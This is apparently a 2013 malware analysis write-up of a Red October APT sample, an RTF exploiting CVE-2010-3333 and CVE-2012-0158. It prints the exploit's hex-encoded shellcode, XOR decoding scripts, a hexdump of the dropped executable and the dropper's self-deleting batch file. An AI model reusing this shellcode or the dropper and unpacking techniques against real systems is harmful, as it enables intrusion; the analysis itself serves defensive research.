Today (14th January of 2013), Karspersky started to make the buzz around an ultimate new APT. The malware targets diplomatic, governmental and scientific research organizations in different countries, mostly related to the region of Eastern Europe, former USSR members and countries in Central Asia.
We get this sample since few months but we did not wrote an article about it… not due to the complexity!!. So, we are sure that this new malware will be used by AV to sell their awesome products. To show you the amazing complexity we plan to make articles about one of the sample provided by Karspesky: 51edea56c1e83bcbc9f873168e2370af this sample can be downloaded on malware.lu.
The file 51edea56c1e83bcbc9f873168e2370af is a rich text file. A vulnerability (CVE-2010-3333 and CVE-2012-0158.) is used to execute code.
The first stage can be identified by using the command strings:
rootbsd@malware.lu:~/red$ strings 51edea56c1e83bcbc9f873168e2370af [...] 0800000049746D736400000002000000010000000C000000436F626Aa4000000496F0000496F0000000000000000000000000000303C5827000000000000000081ec001000008 bec33c9648b35300000008b760c8b761c8b5e088b46088b7e208b3666394f1875f2895d04894508ff750868ad9b7ddfe8ff000000894520ff75086854caaf91e8ef0000008945 24ff750868ac08da76e8df000000894528ff7508681665fa10e8cf00000089452c6a045e5456ff552089859400000083f8ff750683c60456ebe93d194e010076f36a006a00681 14e010056ff55288d85900000006a00506a088d859c0000005056ff552c81bd9c0000005054405475c489b5980000006a406800100000ffb5a00000006a00ff55248985a40000 008d9d900000006a0053ffb5a000000050ffb598000000ff552c8b9da40000006033c933c08a040bc1e00480fc037402049033d2eb04cccccccc8a540b0180fa39760380c2098 0e20f02c234b6880343418bb5a0000000d1ee3bce75c661ffe3558bec578b7d088b5d0c568b733c8b74337803f3568b762003f333c94941ad03c35633f60fbe103af27408c1ce 0d03f240ebf13bfe5e75e55a8beb8b5a2403dd668b0c4b8b5a1c03dd8b048b03c55e5f5dc2080042424242e800000000195ce8511de174ecf3f5e9e9581de170a1f3cb12e9271 5e97417d9649fd9689fd96c9f5c15d970f6dcf49c8c9c9cccf69c17e16017cb4474f363636315d978195c93187a9d9c9c11d97cf69ccc63e97063e978ca63cb58195c9318529d 9c9cf69cf69cf69cf698f69c63e97417e16017cb7074a863636315d9401f649ce8c5f69cf69cf69cf69a63e94017e16017cb74748a63636315d9541f649ce8a71d7098989c9c1 1d8b898c8f49c9e9c9cccf69e63e954f66363cb601f649ce987af5c11e0b8986efa33174317e160d7d7fa1fa7c0e964dfdf15c15817c178fcaf55af5c1698975d7c981c609fe8 9e980caf4e16c8979d1c66a5ea9f1c5e951c7e939e5ea842149fdfdd17e9704d72a752e953fd9fc16c15c17c9fc16815c1401d70989d9c9c15f95cf49c9d9c9c63e95cf69c17e 16017cb5474ed6263639fd95cfa5b9cbcbedcdc15d94463e944f4989d9c9c17e16017cb4074cd6263639fd944176415d95017e97817d16c6f3817e160f69e63e94417cb4874ad 62636315d94863e96863e97ccc17e16017cb4c748062636363e94817e16017cb50749262636363e94417cb6417e160749c626363f69cf69cf4989d9c9c63e950f66363e958f69 cf69c17e16017cb78747c61636315d958f69c63e94417e16017cb48745161636315d97463e96463e94063e97417e16017cb4c742a61636363e97417e16017cb50743461636317 c1589fc150d7fa5b9fbe9cf69c63e95c17e16017cb7c741061636317e15417e94017d1646f3817e16063cb6cf69ccc63cb6874c3616363d4d3d3d4d3d3dededede749c9c9c9c0 000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 [...]
The hexadecimal code of the payload is stored in ASCII (in lowercase). We can convert this strings in raw code:
rootbsd@malware.lu:~/red$ cat stage1.py print "81ec001000008bec33c9648b35300000008b760c8b761c8b5e088b46088b7e208b3666394f1875f2895d04894508ff750868ad9b7ddfe8ff000000894520ff75086854caaf91e8ef000000894524ff750868ac08da76e8df000000894528ff7508681665fa10e8cf00000089452c6a045e5456ff552089859400000083f8ff750683c60456ebe93d194e010076f36a006a0068114e010056ff55288d85900000006a00506a088d859c0000005056ff552c81bd9c0000005054405475c489b5980000006a406800100000ffb5a00000006a00ff55248985a40000008d9d900000006a0053ffb5a000000050ffb598000000ff552c8b9da40000006033c933c08a040bc1e00480fc037402049033d2eb04cccccccc8a540b0180fa39760380c20980e20f02c234b6880343418bb5a0000000d1ee3bce75c661ffe3558bec578b7d088b5d0c568b733c8b74337803f3568b762003f333c94941ad03c35633f60fbe103af27408c1ce0d03f240ebf13bfe5e75e55a8beb8b5a2403dd668b0c4b8b5a1c03dd8b048b03c55e5f5dc2080042424242e800000000195ce8511de174ecf3f5e9e9581de170a1f3cb12e92715e97417d9649fd9689fd96c9f5c15d970f6dcf49c8c9c9cccf69c17e16017cb4474f363636315d978195c93187a9d9c9c11d97cf69ccc63e97063e978ca63cb58195c9318529d9c9cf69cf69cf69cf698f69c63e97417e16017cb7074a863636315d9401f649ce8c5f69cf69cf69cf69a63e94017e16017cb74748a63636315d9541f649ce8a71d7098989c9c11d8b898c8f49c9e9c9cccf69e63e954f66363cb601f649ce987af5c11e0b8986efa33174317e160d7d7fa1fa7c0e964dfdf15c15817c178fcaf55af5c1698975d7c981c609fe89e980caf4e16c8979d1c66a5ea9f1c5e951c7e939e5ea842149fdfdd17e9704d72a752e953fd9fc16c15c17c9fc16815c1401d70989d9c9c15f95cf49c9d9c9c63e95cf69c17e16017cb5474ed6263639fd95cfa5b9cbcbedcdc15d94463e944f4989d9c9c17e16017cb4074cd6263639fd944176415d95017e97817d16c6f3817e160f69e63e94417cb4874ad62636315d94863e96863e97ccc17e16017cb4c748062636363e94817e16017cb50749262636363e94417cb6417e160749c626363f69cf69cf4989d9c9c63e950f66363e958f69cf69c17e16017cb78747c61636315d958f69c63e94417e16017cb48745161636315d97463e96463e94063e97417e16017cb4c742a61636363e97417e16017cb50743461636317c1589fc150d7fa5b9fbe9cf69c63e95c17e16017cb7c741061636317e15417e94017d1646f3817e16063cb6cf69ccc63cb6874c3616363d4d3d3d4d3d3dededede749c9c9c9c00".decode("hex") rootbsd@malware.lu:~/red$ python stage1.py > stage1.bin
We can open the binary on IDA Pro:
After some C and P, we can identify the first step of the payload is to find the string PT@T. Once this string is identified a XOR is executed:
Here the code to find the code offset and make the XOR:
rootbsd@malware.lu:~/red$ grep -aob PT@T 51edea56c1e83bcbc9f873168e2370af
85521:PT@T
rootbsd@malware.lu:~/red$ tail -c+$((85521+9)) 51edea56c1e83bcbc9f873168e2370af > stage1.bin.xor
This file contains hexadecimal code in ASCII. We can use the decode() function in python a second time.
rootbsd@malware.lu:~/red$ cat stage1.bin.xor.py
print "4ade633b6e0ddebcd351a3de700c98c6de97f2401adee659ae9bdeb4f43990def0b2d95ddebcd351a3decf6c6edddeaa1b83c9de0c7c4cd5de1a7ccd1bde67052601de4d82165cde796b95cfde27ce2b0edeae3718b23d42355ad23d4a8564d23dec863dfdba3dffaa49c7be3ddfbe3df7963dbfd08fe6aec3441b8b633b6e0dc3b53d9a92d63df38a3dfab3ceb57b3def96b56b3dcfaef93d820db5432fb908b08c72c2be777cbfb566f05d478de292aac3523def92b56bd03d8acd3defaab56bb59a0d23e91de1d78b633b6e0dc31c3d5a375a26b6b6b63fcb4a5f3bb4b6b6ee3ff30edcb2e8e2e03dcb4a3de10a5dafed3dfb0e3574b3e73d49e33d5a70b7de3fefb770f7b37549545e544949493ff366354e49c3b03570b2e05d7f8bede0b7b6c045dcb6dcb6def9e0b7b6e03de1765e0d4949493bf352dcb6e6dca23bf35ee6e049e1723376c27b37cb5ef2eff8dfc3723fc35e3df34eb5f342b5f346b5763ff35adcf6deb6a6b6b6e6dcb63dcb4a3de16e5ece4949493ff3523376b93268b7b6b63bf356dcb6e649c35a49c352e049e1723376b93270b7b6b6dcb6dcb6dcb6dcb2dcb649c35e3dcb4a3de15a5e8b4949493ff36a354eb6c2efdcb6dcb6dcb6dcb049c36a3dcb4a3de15e5ea94949493ff37e354eb6c28d375ab2b2b6b63bf292b2e2deb6b4b6b6e6dcb449c37edc4949e14a354eb6c3ad85763bca92b244d0193d693dcb4afdfdd0358deac34ef5f53feb723deb52d6857f85763cb2bd7756b2364ab5c2b4b22685643ce2bdb7364c8fc0b53674bf3654b9b47482683eb5f5f73dc35a67588d78c379d7b5eb463feb56b5eb423feb6a375ab2b7b6b63fd376deb6b7b6b649c376dcb63dcb4a3de17e5ecc484949b5f376d071b69694f6f63ff36e49c36edeb2b7b6b63dcb4a3de16a5eec484949b5f36e3d4e3ff37a3dc3523dfb4645123dcb4adcb449c36e3de1625e8c4849493ff36249c34249c356e63dcb4a3de1665e9348494949c3623dcb4a3de17a5ea1484949dcb649c36e49e14edcb6dcb6deb2b7b6b649c37adc4949c372dcb6dcb63dcb4a3de1525e594b49493ff372dcb649c36e3dcb4a3de1625e6a4b49493ff35e49c34e49c36a49c35e3dcb4a3de1665e734b494949c35e3dcb4a3de17a5e014b49493deb72b5eb7afdd071b594b6dcb649c3763dcb4a3de1565e2d4b49493dcb7e3dc36a3dfb4e45123dcb4a49e146dcb6e649e1425ed84b4949fef9f9fef9f9f4f4f4f448494949b6d05152fa5dc7adfd52fa5945fc505252e5e2e2e5e2e2efefefef45adadadadc6505252e5e2e2e5e2e2efefefef45adadadad4017d1646f3817e16063cb6cf69ccc63cb6874fb616363d4d3d3d4d3d3dededede749c9c9c9c".decode("hex")
rootbsd@malware.lu:~/red$ python stage1.bin.xor.py > stage1.bin.xor
rootbsd@malware.lu:~/red$ cat unxor.rb
#!/bin/ruby
encryptedFile = File.open(ARGV[0], 'r')
encryptedFile.seek(0x0, IO::SEEK_SET)
file = encryptedFile.sysread(File.stat(ARGV[0]).size)
file.each_byte |x|
putc x ^ 0xB6
rootbsd@malware.lu:~/red$ ruby unxor.rb stage1.bin.xor > stage2.bin
After this XOR, the payload jumps in the part. So, this new file is the stage 2 of the malware.
This new file can be opened on IDA Pro too.
We can identify a second XOR at the offset 87651. The data are always stored in ASCII, we must use the decode() function of python to convert it:
rootbsd@malware.lu:~/red$ python stage3.ascii > stage3.bin
We can apply the XOR to this file:
rootbsd@malware.lu:~/red$ cat unxor2.rb
#!/bin/ruby
encryptedFile = File.open(ARGV[0], 'r')
encryptedFile.seek(0x0, IO::SEEK_SET)
file = encryptedFile.sysread(File.stat(ARGV[0]).size)
file.each_byte |x|
putc x ^ 0xDErootbsd@malware.lu:~/red$ ruby unxor2.rb stage3.bin > stage3.unxor
We have now a binary:
rootbsd@alien:~/red$ hd stage3.unxor | head -10
00000000 6d 73 6d 78 32 31 2e 65 78 65 00 4d 5a 90 00 03 |msmx21.exe.MZ...|
00000010 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 |................|
00000020 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 |...@............|
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
00000040 00 00 00 00 00 00 00 d8 00 00 00 0e 1f ba 0e 00 |................|
00000050 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 |...!..L.!This pr|
00000060 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 |ogram cannot be |
00000070 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e |run in DOS mode.|
00000080 0d 0d 0a 24 00 00 00 00 00 00 00 0c 9c 7e a3 48 |...$.........~.H|
00000090 fd 10 f0 48 fd 10 f0 48 fd 10 f0 56 af 93 f0 29 |...H...H...V...)|
The md5 of the dropper is: e7d4841bccc9c3fb48124699d5e65deb.
We take a look with IDA and notice that the binary is packed (indicator are few numbers of functions compared of the size of the binary, lot of data).
The first interesting function is 4103C0h (sub_4103C0) is just a long block function with no branch, but something is interesting as the end it do a call on MessageBoxA. By looking more deeply we can see that the binary fix it’s own IAT to replace the call to MessageBoxA to an internal function.
We are suspecting that the malware use VirtualAlloc to allocate a new buffer with EXEC flag, and inject a payload in charge to unpack the real binary.
So with the debuger we set a breakpoint on VirtualAlloc.
When it raises we trace the allocated page and set a memory breakpoint on it.
After it writes on it a shellcode.
This shellcode used a getprocaddress by hash to recover the utils function.
By tracing the execution we see that it does a VirtualAlloc, copy the encoded binary and decrypt it.
We dump the page and get the unpacked version of msmx21.exe ( 20c3ec7d34e5f950ed7b3752c65fc127 )
The droper create 3 files:
The files creation can be identified on OllyDbg by breaking on CreateFile():
The content of the file can be extract from the buffer puts on the fonction WriteFile():
Here the hash of the files:
Here the content of the .bat file:
chcp 1251
:Repeat
attrib -a -s -h -r "c:\msmx21.exe"
del "c:\msmx21.exe"
if exist "c:\msmx21.exe" goto Repeat
del "%TEMP%\msc.bat"
The md5 of the binary is: 41ce86611631c57e11307bff20a3b821
The same packer is used for this binary so we are not going to describe how to get it again.
The only change it at the end the file is compressed with upx.
e1ed995b223e899ee8557bbdbaab7c83 (with upx)
5f38e180671fe1d86009d730687a0e3e (without upx)